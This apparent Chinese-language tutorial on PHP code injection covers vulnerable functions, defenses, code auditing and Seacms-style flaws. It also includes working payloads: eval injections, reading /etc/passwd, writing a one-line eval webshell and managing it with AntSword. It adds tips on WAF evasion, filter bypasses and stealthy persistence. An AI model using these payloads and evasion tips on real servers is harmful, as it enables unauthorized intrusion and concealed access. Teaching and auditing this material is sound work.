1. 从一条请求说起:PHP代码注入到底在防什么
很多做Web安全的朋友,第一次接触代码执行类漏洞,都是从PHP代码注入开始的。它不像SQL注入那样有明确的“数据与指令混淆”边界,也不像XSS那样主要影响前端用户,PHP代码注入的可怕之处在于:一旦攻击者能把一段PHP代码塞进你的应用并让它执行,这台服务器基本就等于交出去了。我见过太多案例,一个看似不起眼的eval调用,最后演变成整台机器的权限沦陷,攻击者拿着WebShell在里面翻文件、读配置、横向移动,整个过程可能只需要几分钟。
这篇文章围绕PHP代码注入这个主题展开,从概念、注入方式、漏洞利用(包括用中国蚁剑获取shell、获取文件路径、读写文件)、防御方法,一直到Seacms这类真实CMS中出现的PHP注入场景,做一次完整的梳理。适合有一定PHP基础、正在学习Web安全或者做代码审计的读者。如果你只是想了解“什么是代码注入”,看完第一节就够了;如果你想真正动手复现、理解利用链、知道怎么防,那后面几节建议逐字看。我会尽量把每一步的“为什么这么做”讲清楚,而不是只丢一堆命令让你抄。
需要先明确一个前提:本文所有内容仅用于安全学习、漏洞原理理解和防御加固,任何未经授权的测试都是违规的。我下面提到的所有操作,都建议在你自己的本地靶场或者明确授权的测试环境中进行。
2. PHP代码注入的核心概念与常见注入方式
2.1 代码注入和命令注入、SQL注入的区别
先把概念理清楚,不然后面容易混。PHP代码注入(Code Injection)指的是攻击者能够将PHP代码片段注入到应用程序中,并由PHP解释器执行。它和命令注入(Command Injection)的区别在于:命令注入执行的是系统命令(比如ls、whoami),走的是操作系统shell;而代码注入执行的是PHP代码,走的是PHP解释器。两者经常同时出现,因为PHP里执行系统命令的函数(如system、exec)本身也可能成为代码注入的跳板。
和SQL注入的区别更明显:SQL注入是把恶意SQL语句拼进数据库查询,影响的是数据库层;代码注入影响的是应用服务器本身,危害等级通常更高。一个SQL注入可能只能拖库,一个代码注入可能直接拿到服务器权限。
从漏洞成因看,代码注入的根源是把用户可控的输入当作代码来执行。PHP里能造成这种效果的函数不少,常见的有:
eval():把字符串当PHP代码执行assert():早期版本可以把字符串当代码执行(PHP 7.2后不再支持字符串形式)preg_replace()配合/e修饰符:把替换结果当代码执行(PHP 7已移除)create_function():内部相当于eval(PHP 7.2废弃,8.0移除)call_user_func()、call_user_func_array():如果回调参数可控,可以调用任意函数- 反序列化中的
__wakeup、__destruct等魔术方法,配合可控属性也能间接造成代码执行
这些函数本身不是漏洞,漏洞在于开发者把不该给用户控制的数据传了进去。
2.2 常见的注入入口和触发路径
实际审计中,代码注入的入口通常藏在几个地方。第一类是动态执行类,比如模板引擎、插件系统、规则引擎,这些场景天然需要“执行一段代码”,如果输入没过滤,就是直接的代码注入。第二类是文件包含类,include、require配合可控路径,可以包含远程或本地的恶意文件,间接执行代码。第三类是反序列化类,用户可控的序列化数据被unserialize后,触发魔术方法链,最终走到危险函数。
我拿一个最简单的例子说明。假设某应用有一个“计算器”功能,代码写成这样:
<?php $expr = $_GET['expr']; eval("echo " . $expr . ";"); ?>正常请求?expr=1+1会输出2。但如果请求?expr=1;phpinfo();//,实际执行的代码就变成echo 1;phpinfo();//;,phpinfo()就被执行了。这就是最典型的代码注入。问题不在于eval本身,而在于$expr完全来自用户且没有做任何白名单校验。
再比如文件包含场景:
<?php $page = $_GET['page']; include($page . ".php"); ?>如果$page传入../../uploads/avatar,就可能包含上传目录里的恶意文件。如果服务器开启了远程包含(allow_url_include=On),甚至可以直接包含远程URL。这类漏洞在早期CMS里非常常见。
2.3 为什么PHP代码注入危害等级高
危害高体现在三个层面。第一,执行上下文是Web服务进程,通常有读写网站目录、连接数据库的权限,攻击者可以直接读取数据库配置文件,拿到数据库账号密码。第二,可以进一步提权,通过代码执行调用系统命令,反弹shell,或者写入计划任务、启动项,实现持久化。第三,隐蔽性强,一段精心构造的代码注入可能只执行一次就删除痕迹,日志里只留下一个看似正常的请求。
我在实际排查中遇到过一种情况:攻击者通过代码注入写入了一个只有几十字节的WebShell,文件名伪装成正常的图片或缓存文件,内容用$_POST接收指令,平时不访问就完全看不出异常。这种“低交互”的后门,靠人工翻文件很难发现,必须结合文件完整性监控和流量分析。
3. 漏洞利用实操:从代码执行到获取Shell
3.1 利用代码注入执行系统命令
拿到代码注入点后,第一步通常是确认执行权限和系统环境。最直接的方式是执行phpinfo()或者system('whoami')。假设注入点是eval($_GET['code']),那么请求:
?code=system('whoami');如果返回了当前Web用户的名称,说明代码执行成功,并且系统命令也可以执行。接下来可以收集信息:
?code=system('uname -a'); ?code=system('cat /etc/passwd'); ?code=phpinfo();这里有个细节:system会直接输出命令结果,适合快速验证;exec只返回最后一行,适合配合print_r使用;shell_exec返回完整输出但需要自己打印。实际利用时,我一般先用phpinfo()确认disable_functions列表,看看哪些函数被禁了。如果system、exec、shell_exec都被禁用,还可以尝试popen、proc_open、反引号运算符,甚至用file_put_contents写文件的方式绕过。
注意:很多生产环境会禁用危险函数,但禁用列表往往不完整。比如禁了
system但没禁passthru,或者禁了exec但没禁popen。审计时要逐个检查。
3.2 用中国蚁剑获取Shell的完整流程
当代码注入只能执行单次、不方便交互时,最实用的做法是写入一个WebShell,然后用中国蚁剑这类工具管理。中国蚁剑是一款开源的WebShell管理工具,支持多种Shell类型,界面友好,适合做后渗透管理。下面说下完整流程。
第一步,构造写入Shell的代码。假设注入点还是eval($_GET['code']),请求:
?code=file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');这段代码会在当前目录写入一个shell.php,内容是一个接收cmd参数的PHP后门。如果当前目录没有写权限,可以尝试换目录,比如/tmp、上传目录、缓存目录。写完后访问http://target/shell.php,如果返回空白页而不是404,说明写入成功。
第二步,打开中国蚁剑,右键“添加数据”,URL填http://target/shell.php,连接密码填cmd,编码器选默认的default。点击测试连接,如果显示“连接成功”,就可以在文件管理里浏览服务器文件了。
第三步,如果默认编码器被WAF拦截,可以尝试其他编码器,比如base64、chr、rot13。蚁剑内置了多种编码器,原理是对传输的数据做变形,绕过简单的关键字检测。我实测下来,base64编码器对大多数基于关键字匹配的WAF都有效,但流量特征比较明显,容易被流量设备识别。
提示:写入Shell时尽量用短小、无特征的代码。比如
<?php @eval($_POST["cmd"]);?>比<?php system($_POST["cmd"]);?>更通用,因为eval可以执行任意PHP代码,不依赖系统命令函数。
3.3 获取文件路径的几种方法
写Shell之前,经常需要知道当前脚本的绝对路径,否则file_put_contents可能写到意料之外的位置。获取路径的方法有几种。
最直接的是__FILE__和__DIR__魔术常量:
?code=echo __FILE__; ?code=echo __DIR__;__FILE__返回当前文件的完整路径,__DIR__返回当前文件所在目录。如果注入点在一个被包含的文件里,这两个常量返回的是该文件的路径,不是入口文件的路径,需要注意区分。
如果魔术常量被过滤,可以用getcwd()获取当前工作目录:
?code=echo getcwd();还可以用phpinfo()里的SCRIPT_FILENAME、DOCUMENT_ROOT等信息推断。另外,$_SERVER['SCRIPT_FILENAME']和$_SERVER['DOCUMENT_ROOT']也是常用来源。我一般会同时打印这几个值,交叉验证,避免因为包含关系导致路径判断错误。
3.4 读写文件的操作要点
读文件用file_get_contents:
?code=echo file_get_contents('/etc/passwd'); ?code=echo file_get_contents('../config.php');写文件用file_put_contents:
?code=file_put_contents('test.txt','hello');如果目标文件已存在且不想覆盖,可以用FILE_APPEND标志:
?code=file_put_contents('log.txt','data',FILE_APPEND);实际操作中有几个坑。第一,权限问题。Web进程通常以www-data或apache用户运行,对网站目录有写权限,但对系统目录没有。写Shell优先选网站目录、上传目录、缓存目录。第二,路径问题。相对路径是相对于当前执行脚本的目录,不是相对于网站根目录,用__DIR__拼接更可靠。第三,编码问题。如果目标文件包含中文或特殊字符,读写时要注意编码,必要时用base64_encode和base64_decode做转换。
注意:读写文件时尽量用绝对路径,避免因为工作目录变化导致操作失败。如果不知道绝对路径,先用
getcwd()和__DIR__确认。
4. 防御方法与代码审计要点
4.1 从源头消除代码注入:输入校验与白名单
防御代码注入的核心原则是:永远不要把用户输入当作代码执行。如果业务确实需要动态执行,必须做严格的白名单校验。比如计算器功能,只允许数字和+ - * / ( )这些字符,用正则限制:
if (!preg_match('/^[0-9+\-*\/(). ]+$/', $expr)) { die('Invalid expression'); }白名单比黑名单可靠得多。黑名单永远列不全,比如你禁了system,攻击者可以用SysTem、system(加空格)、${IFS}system等方式绕过。白名单只允许已知安全的字符,其他一律拒绝,攻击面小得多。
对于必须执行动态代码的场景,比如模板引擎,应该用沙箱机制,限制可调用的函数和类,而不是直接eval。PHP本身没有内置沙箱,但可以通过disable_functions、open_basedir、Suhosin扩展等手段做限制。
4.2 危险函数禁用与配置加固
在生产环境中,应该通过php.ini禁用不必要的危险函数:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source同时限制文件访问范围:
open_basedir = /var/www/html:/tmp这样即使攻击者能执行代码,也无法读取/etc/passwd等敏感文件。还可以关闭远程文件包含:
allow_url_include = Off allow_url_fopen = Off这些配置能显著提高利用门槛。但要注意,disable_functions不是万能的,有些绕过手法(比如利用LD_PRELOAD、ImageMagick等第三方组件)仍然可能突破。所以配置加固是纵深防御的一层,不能替代代码层面的修复。
4.3 代码审计中如何快速定位代码注入
做代码审计时,我一般用“危险函数+可控输入”的思路来定位。先搜危险函数:eval、assert、preg_replace(带/e)、create_function、call_user_func、include、require。然后回溯这些函数的参数,看是否来自用户可控的输入,比如$_GET、$_POST、$_COOKIE、$_REQUEST、$_SERVER、php://input。
如果参数经过了过滤函数,要检查过滤是否严格。常见的过滤函数有addslashes、htmlspecialchars、intval、str_replace。addslashes和htmlspecialchars对代码注入基本无效,因为它们不处理PHP语法字符。intval如果用在数字参数上是安全的,但用在字符串参数上会截断,可能引入新问题。str_replace黑名单过滤容易被绕过。
我习惯用静态分析工具辅助,比如RIPS、Seay源代码审计系统,它们能自动追踪变量流向,标记可疑点。但工具误报率高,最终还是要人工确认。人工审计时,重点关注“输入->过滤->危险函数”这条链,任何一环缺失或不严格,都可能是漏洞。
5. Seacms中的PHP注入场景分析
5.1 Seacms漏洞背景与注入点定位
Seacms是一套曾经广泛使用的视频内容管理系统,历史版本中存在多个代码注入漏洞。这里不针对具体版本号,只讲这类CMS中常见的注入模式。Seacms的架构是典型的PHP+MySQL,入口文件统一,通过$_GET['ac']等参数路由到不同功能模块。这种“单入口+动态包含”的结构,天然容易出问题。
常见的注入点出现在搜索、模板、采集等功能里。比如搜索功能,如果直接把搜索关键词拼进eval或者preg_replace,就可能被利用。再比如模板功能,允许管理员编辑模板内容,如果模板内容被当作PHP代码执行,且编辑权限校验不严,低权限用户也可能利用。
定位注入点的思路:先看入口文件如何分发请求,找到所有include、eval、call_user_func的调用点,然后逐个回溯参数来源。Seacms的代码里,include用得很多,如果被包含的路径部分可控,就可能造成文件包含,进而代码执行。
5.2 典型利用链还原
假设某版本Seacms的搜索功能存在代码注入,请求形如:
/search.php?searchtype=5&order=eval代码里可能这样处理:
$order = $_GET['order']; $sql = "SELECT * FROM videos ORDER BY " . $order;如果$order没有过滤,除了SQL注入,还可能通过order参数传入PHP代码,在某个eval点被执行。实际利用时,攻击者会先确认注入类型,再构造Payload。如果是eval型,直接传phpinfo();如果是文件包含型,传路径。
利用链通常是:注入点->执行代码->写Shell->蚁剑连接->提权->持久化。每一步都要确认权限和可用函数。Seacms这类CMS的Web目录通常可写,写Shell比较容易。写完后用蚁剑连接,就能图形化管理服务器了。
5.3 从Seacms案例看CMS安全加固
Seacms的案例给我们的启示是:CMS类应用因为功能多、代码量大、更新频繁,很容易在某个角落留下注入点。加固思路有几个。第一,最小权限原则,Web进程只给必要的目录写权限,其他目录只读。第二,输入过滤统一化,所有用户输入在进入业务逻辑前统一过滤,不要依赖各个模块自己处理。第三,危险函数集中管控,把eval、include等调用封装成安全函数,内部做白名单校验。第四,日志与监控,记录所有危险函数的调用,发现异常及时告警。
对于使用CMS的站长,建议及时更新到最新版本,关闭不用的功能模块,定期做安全扫描。对于开发者,建议在代码审查阶段就把代码注入列为必查项,不要等到上线后被攻击才发现。
6. 常见问题与排查技巧实录
6.1 代码注入利用中的典型问题速查
| 问题现象 | 可能原因 | 排查思路 | 解决方法 |
|---|---|---|---|
system无回显 | 函数被禁用或输出被重定向 | 查phpinfo的disable_functions | 换popen、反引号或写文件 |
| 写Shell失败 | 目录无写权限 | 用is_writable检查 | 换上传目录、缓存目录 |
| 蚁剑连接失败 | 编码器不匹配或被WAF拦截 | 换编码器、抓包看请求 | 用base64或自定义编码器 |
| 路径获取错误 | 相对路径基准不对 | 打印__DIR__和getcwd | 统一用绝对路径 |
| 代码被截断 | 特殊字符被过滤 | 看返回内容长度 | 用base64编码Payload |
6.2 我踩过的几个坑
第一个坑是过度依赖disable_functions。有一次测试环境禁了system、exec、shell_exec,我以为没法执行命令了,结果用popen照样跑通了。后来才知道,很多禁用列表是手工维护的,漏掉一两个函数很常见。所以审计时不能只看列表,要实际测试。
第二个坑是忽略open_basedir的影响。有一次写Shell,路径明明有权限,但一直失败,后来发现open_basedir限制了访问范围,目标目录不在允许列表里。这种情况下只能往允许的目录写,或者想办法绕过open_basedir(比如利用chdir和ini_set的组合,但成功率不高)。
第三个坑是蚁剑编码器选错导致流量特征明显。默认编码器的请求体里有明显的eval、base64等关键字,容易被WAF和IDS识别。后来改用自定义编码器,把Payload拆分成多个参数,或者用图片马的方式传输,才稳定下来。
6.3 防御侧的排查经验
从防御角度看,排查代码注入要关注几个信号。第一,异常的文件写入,特别是Web目录下突然出现.php文件,内容包含eval、assert等关键字。第二,异常的进程调用,Web进程突然调用sh、bash、cmd等。第三,异常的请求参数,请求里包含eval、system、base64_decode等敏感字符串。第四,异常的连接,服务器主动外连陌生IP。
我一般会部署文件完整性监控,对Web目录做哈希基线,任何新增或修改都告警。同时开启PHP的disable_functions日志,记录所有被拦截的危险函数调用。流量侧用WAF做关键字和语义检测,但要注意WAF不是万能的,绕过手法层出不穷,关键还是代码层面的修复。
7. 最后分享几个实操中的小技巧
写Shell的时候,如果目标环境对<?php标签过滤,可以尝试短标签<?=或者<%(需要short_open_tag开启)。如果对eval过滤,可以用assert(PHP 7.2以下)或者create_function。如果对$_POST过滤,可以用$_REQUEST、$_COOKIE、$_SERVER['HTTP_X_FORWARDED_FOR']等替代。这些技巧的核心思路是:找到过滤的盲区,用等效的替代方案绕过。
获取路径的时候,如果魔术常量被过滤,可以尝试用dirname(__FILE__)、realpath('.')、$_SERVER['DOCUMENT_ROOT']组合推断。我习惯写一个小的信息收集脚本,一次性打印所有可能用到的路径和环境变量,避免反复请求。
用蚁剑管理Shell时,建议开启“流量加密”和“自定义编码器”,降低被检测的概率。同时定期更换Shell文件名和连接密码,避免被其他攻击者“截胡”。如果条件允许,用内存马代替文件马,隐蔽性更好,但技术门槛也更高。
防御方面,除了前面说的配置加固,还可以用RASP(运行时应用自我保护)在PHP层面做实时拦截。RASP能监控危险函数的调用,发现异常直接阻断,比WAF更贴近应用层。不过RASP对性能有一定影响,需要根据业务情况权衡。
这个主题后续还可以往反序列化链、内存马、无文件攻击等方向扩展,每一个方向都有不少值得深挖的细节。如果你正在做代码审计或者渗透测试,建议把PHP代码注入作为基础功,反复练习,直到能快速定位、利用和防御。